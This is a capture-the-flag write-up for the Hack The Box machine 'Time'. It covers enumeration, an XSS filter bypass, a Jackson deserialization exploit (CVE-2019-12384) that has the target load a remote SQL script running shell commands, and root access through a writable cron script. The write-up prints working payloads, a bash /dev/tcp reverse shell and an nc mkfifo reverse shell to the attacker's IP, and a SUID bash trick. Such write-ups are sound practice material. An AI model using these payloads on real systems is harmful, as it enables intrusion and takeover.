Hack The Box - Time
Introduction
Time is a medium machine rated 3.5, which is decent. I exploited a JSON validator, which works with Jackson (a java JSON library). To become root, I exploited a cronjob. Without further ado, let’s start enumerating the machine.
Enumeration
I start by perfoming some nmap scans and then enumerate each service.
Nmap Scan
For this task I use the nmap automator, here are the results of the full scan:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
On those open ports, the automator will perform a script scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Only 2 open ports found, there are no UDP ports open.
Service Enumeration
The SSH version is not vulnerable, so I can start with the enumeration of the web server. Here are the results of the gobuster scan:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/time]
└─$ gobuster dir -u http://time.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt -x php,html,log,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://time.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,log,txt
[+] Timeout: 10s
===============================================================
2021/09/29 07:51:22 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 3813]
/images (Status: 301) [Size: 305] [--> http://time.htb/images/]
/css (Status: 301) [Size: 302] [--> http://time.htb/css/]
/js (Status: 301) [Size: 301] [--> http://time.htb/js/]
/javascript (Status: 301) [Size: 309] [--> http://time.htb/javascript/]
/vendor (Status: 301) [Size: 305] [--> http://time.htb/vendor/]
/fonts (Status: 301) [Size: 304] [--> http://time.htb/fonts/]
All the directories can’t be accessed, so I just open the page. On the page, there is a json validator/beautifuller.
I make a quick check and see that it works.
So let’s try to inject code:
So there is some type of validation, maybe I can generate a payload that bypasses the filter.
Breaking the Filter
For this, I use the OWASP XSS Filter Evasion Cheat Sheet:
XSS Filter Evasion - OWASP Cheat Sheet Series
I tried many payloads, but the following one worked for me:
{
"name":"<iframe src=http://10.10.16.6/index.html <"
}
It looks like this on the JSON validator (make sure that you started the web server on your local machine)
This basically just loads an iframe into the page. When loading a JavaScript document, it does not work. When using the validator instead of beautifier, I get the following error message:
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
This is a java error, telling me that the backend is running java. To validate JSON, it uses the Jackson package. So I searched through the internet. I found a lot of CVEs for Jackson, but none of them worked, until I found this page (CVE-2019-12384):
Jackson gadgets - Anatomy of a vulnerability
To test, I used this payload:
["ch.qos.logback.core.db.DriverManagerConnectionSource",
{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]
When sending this payload, I get another error message, which shows me that this method works:
Validation failed: 2021-09-29 08:55:39 lock: 3 shared read lock unlock SYS
So I can try to get a connection to my local web server running on my kali machine:
["ch.qos.logback.core.db.DriverManagerConnectionSource",
{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.16.6/inject.sql'"}]
Look at the web server:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/time]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.214 - - [29/Sep/2021 10:49:19] code 404, message File not found
10.10.10.214 - - [29/Sep/2021 10:49:19] "GET /inject.sql HTTP/1.1" 404 -
So there is the way to execute code on this system.
Exploitation
Above the sample payload, there is a sample SQL (you can only run SQL commands). This SQL code can execute commands in a java shell. So let’s use this to ping my machine:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('ping -c 4 10.10.16.6')
You can use the same payload to trigger to download of the SQL file. Start up tcpdump and look at it:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/time]
└─$ sudo tcpdump -ni tun0 icmp
[sudo] password for user:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:58:53.061512 IP 10.10.10.214 > 10.10.16.6: ICMP echo request, id 1, seq 1, length 64
10:58:53.061601 IP 10.10.16.6 > 10.10.10.214: ICMP echo reply, id 1, seq 1, length 64
10:58:54.063041 IP 10.10.10.214 > 10.10.16.6: ICMP echo request, id 1, seq 2, length 64
10:58:54.063102 IP 10.10.16.6 > 10.10.10.214: ICMP echo reply, id 1, seq 2, length 64
10:58:55.064933 IP 10.10.10.214 > 10.10.16.6: ICMP echo request, id 1, seq 3, length 64
10:58:55.064995 IP 10.10.16.6 > 10.10.10.214: ICMP echo reply, id 1, seq 3, length 64
10:58:56.064922 IP 10.10.10.214 > 10.10.16.6: ICMP echo request, id 1, seq 4, length 64
10:58:56.064968 IP 10.10.16.6 > 10.10.10.214: ICMP echo reply, id 1, seq 4, length 64
That worked well. Let’s create a simple bash reverse shell:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"')
Start a netcat listener, update the inject.sql file and run the trigger the download again. Check the netcat listener:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/time]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.214] 33052
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
pericles@time:/var/www/html$
pericles@time:/var/www/html$ export TERM=xterm
export TERM=xterm
pericles@time:/var/www/html$ ^Z
zsh: suspended nc -lvnp 443
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/time]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 443
pericles@time:/var/www/html$ ^C
pericles@time:/var/www/html$ id
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
And there is the shell as user pericles (I also upgraded it so that shortcuts work).
User Flag
Let’s try to get that user flag:
pericles@time:/var/www/html$ cd /home/pericles/
pericles@time:/home/pericles$ ls
snap user.txt
pericles@time:/home/pericles$ cat user.txt
a2**************************ec0e
Privilege Escalation
I ran LinPEAS, here is the most interesting thing that I found:
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group pericles:
/usr/bin/timer_backup.sh
It’s a script called timer_backup.sh
to which I can write to. The name timer could mean that the script is executed in a time interval. So let’s view the contents of this file and check if it’s really world writable:
pericles@time:/usr/bin$ cat timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
pericles@time:/usr/bin$ ls -l timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Sep 29 12:25 timer_backup.sh
The file creates a backup and stores it in the root directory. So it must run as root. I will try to get a reverse shell using this file:
pericles@time:/tmp$ cat /usr/bin/timer_backup.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f
A reverse shell spawns, but it quickly dies (approximately after 10 seconds). So I need to create rootbash (copy of /bin/bash with the SUID bit set). I tried /tmp, but the user pericles could not see it (I checked it later with root permissions and it exists). So I tried the home directory of the user pericles.
Change the script so that it looks like this (no reverse shell needed):
pericles@time:/dev/shm$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
cp /bin/bash /home/pericles/rootbash && chmod +s /home/pericles/rootbash
That worked, bash was copied and the SUID bit was set:
pericles@time:/home/pericles$ ls -l
total 2448
-rwsr-sr-x 1 root root 1183448 Sep 29 19:11 rootbash
drwxr-xr-x 3 pericles pericles 4096 Oct 2 2020 snap
-r-------- 1 pericles pericles 33 Sep 29 05:45 user.txt
I can now get a shell with root permissions:
pericles@time:/home/pericles$ ./rootbash -p
rootbash-5.0# id
uid=1000(pericles) gid=1000(pericles) euid=0(root) egid=0(root) groups=0(root),1000(pericles)
There you have the root shell.
Root Flag
It’s time to get the root flag:
rootbash-5.0# cd /root
rootbash-5.0# ls
backup.zip root.txt snap timer_backup.sh
rootbash-5.0# cat root.txt
fa**************************207d
Conclusions
This box was fun to solve and I learned a lot. It was not that hard but still required some research. I can recommend trying this machine yourself, it’s also a good practice for the OSCP exam.